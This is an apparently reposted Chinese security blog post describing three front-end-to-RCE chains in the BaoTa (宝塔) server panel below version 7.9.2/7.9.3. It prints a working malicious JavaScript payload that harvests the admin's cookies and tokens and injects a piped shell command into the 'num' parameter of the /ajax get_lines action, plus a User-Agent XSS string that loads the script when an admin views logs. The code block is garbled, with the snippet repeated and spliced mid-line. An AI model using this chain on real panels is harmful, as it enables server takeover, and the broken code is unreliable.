宝塔面板前台RCE
2022-10-29 11:42:40 Author: mp.weixin.qq.com(查看原文) 阅读量:292 收藏

RCE1

版本 < 7.9.2

恶意 js

//JQuery preload (optional)(function(){    var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);})();
// cookielet cookies = document.cookie;
function getCookie(sKey) { if (!sKey) { return null; } return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" +encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\//JQuery preload (optional)(function(){ var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);})();
// cookielet cookies = document.cookie;
function getCookie(sKey) { if (!sKey) { return null; } return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" +encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") +"\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;}
all_headers ={ "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Connection":"close", "Accept-Encoding":"gzip, deflate", "dnt":"1", "sec-gpc":"1", "Cookie": cookies, "x-cookie-token": getCookie('request_token'), "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8", "x-http-token": $('#request_token_head').attr('token'), "Content-Type":"application/x-www-form-urlencoded;charset=UTF-8"}
$.ajax({ url: "/ajax", type: "get", data: {"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE test ZAC'> /www/wwwroot/1.txt|"} //这边填写shell命令 , headers: all_headers, success: function (data) { console.info(data); }});amp;") +"\\s*\\=\\s*([^;]*).*$)|^.*//JQuery preload (optional)(function(){ var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);})();
// cookielet cookies = document.cookie;
function getCookie(sKey) { if (!sKey) { return null; } return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" +encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") +"\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;}
all_headers ={ "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Connection":"close", "Accept-Encoding":"gzip, deflate", "dnt":"1", "sec-gpc":"1", "Cookie": cookies, "x-cookie-token": getCookie('request_token'), "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8", "x-http-token": $('#request_token_head').attr('token'), "Content-Type":"application/x-www-form-urlencoded;charset=UTF-8"}
$.ajax({ url: "/ajax", type: "get", data: {"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE test ZAC'> /www/wwwroot/1.txt|"} //这边填写shell命令 , headers: all_headers, success: function (data) { console.info(data); }});quot;), "$1")) || null;}
all_headers ={ "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Connection":"close", "Accept-Encoding":"gzip, deflate", "dnt":"1", "sec-gpc":"1", "Cookie": cookies, "x-cookie-token": getCookie('request_token'), "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8", "x-http-token": $('#request_token_head').attr('token'), "Content-Type":"application/x-www-form-urlencoded;charset=UTF-8"}
$.ajax({ url: "/ajax", type: "get", data: {"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE test ZAC'> /www/wwwroot/1.txt|"} //这边填写shell命令 , headers: all_headers, success: function (data) { console.info(data); }});

访问宝塔面板部署的网站,并替换 UA

</tExtArEa>">src=https://localhost/1.js></script>

到后台点击日志,触发 xss 导致 rce

命令执行结果

RCE2

版本 <7.9.2
原理和上面的一致,poc 也一样

触发 Nginx 报错

到后台点日志-错误日志

验证结果

RCE3

版本 <7.9.3

可以确认的是有 Xss 漏洞,但是 rec 有难度,我本地使用的是宝塔 7.6.0 验证,存在斜杠替换的问题,暂且不表。

针对 面板页面构造恶意xss

到安全-日志记录中去查找日志。

文章转载自:https://www.ankio.net/#/posts/79


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247498815&idx=1&sn=2c49b320c2c4c018e093f0f65750b589&chksm=fbfb4cf2cc8cc5e47d9b7e8c6ee3d5430dc6a95553ca1185ce37a018935a61740d1ef59e70ac&mpshare=1&scene=1&srcid=10297oy0c4h5LbnaDS1ha2k1&sharer_sharetime=1667014955100&sharer_shareid=205c037363a9188e37dfb6bb4436f95b#rd
如有侵权请联系:admin#unsafe.sh